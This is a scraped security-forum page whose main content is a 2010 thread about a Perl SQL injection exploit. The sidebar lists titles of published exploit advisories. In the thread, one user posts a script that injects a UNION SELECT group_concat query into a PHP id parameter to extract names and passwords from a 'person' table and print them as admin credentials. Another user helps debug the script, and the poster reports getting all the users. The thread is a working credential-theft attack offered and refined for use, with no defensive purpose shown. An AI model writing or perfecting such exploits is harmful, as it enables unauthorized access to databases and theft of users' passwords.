Waraxe IT Security Portal
Login or Register
October 20, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 90
Members: 0
Total: 90
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Perl SQL injection exploit
Post new topicReply to topic View previous topic :: View next topic
Perl SQL injection exploit
PostPosted: Wed May 26, 2010 9:42 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




Im writing a exploit and wondering if anyone can perfect this exploit because im gettting no usernaem or password

heres it
Code:

#!/usr/bin/perl -w
use LWP::UserAgent;
my $host = "http://www.blahblahblah.com/blahblah/";
my $target = "Person.php?id=";
my $sql = "225%20union%20all%20select%201,group_concat

(id,0x7c,First,0x3a,Last,0x3a,Password)%20from%20person--";
my $hack = $host.$target.$sql;
my $ua = LWP::UserAgent->new();
$ua->agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
$req = $ua->request(HTTP::Request->new(GET=>$hack));
my $answer = $req->content;
if($answer =~ /First:(.*)|Password:(.)</) {
print "[+] exploit succeed fetching admin cridentials\n";
sleep(3);
print "admin username: $1\n";
}



did i make any mistakes in the code above?

in the sql tables there are a First(first name) and THe password as Password..im just trying to grab those and put them in my results......
View user's profile Send private message
PostPosted: Wed May 26, 2010 10:08 am Reply with quote
vince213333
Advanced user
Advanced user
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I don't really get your regular expression
Code:
if($answer =~ /First:(.*)|Password:(.)</)


Your SQL query is:
Code:
(id,0x7c,First,0x3a,Last,0x3a,Password)

Which will output something like:
Code:
1|John:Doe:MyPass


But I believe you expect the result of the query to be:
Code:
id:1|First:John|Last:Doe|Password:MyPass


Try changing your regex to
Code:
if($answer =~ /(.+)|(.+):(.+)/)


Not 100% sure but I believe it should be something like that. Didn't write any perl for a while though Smile
View user's profile Send private message
PostPosted: Wed May 26, 2010 10:50 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




I wish i could get this to work....for skills but the output is not what i need

admin username: <html>
View user's profile Send private message
PostPosted: Wed May 26, 2010 11:07 am Reply with quote
vince213333
Advanced user
Advanced user
Joined: Aug 03, 2009
Posts: 737
Location: Belgium




I think I know what the problem is. You get the content of the webpage (starting with the <html> tag), but you don't cycle through each line, you only check the first line with your regular expression Smile

I believe you should put the $req->content in an array and then process it in a foreach loop.
View user's profile Send private message
PostPosted: Wed May 26, 2010 11:22 am Reply with quote
acce55
Regular user
Regular user
Joined: Aug 22, 2009
Posts: 9




i got them all..all the user from fixing the sql query.
View user's profile Send private message
Perl SQL injection exploit
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.039 Seconds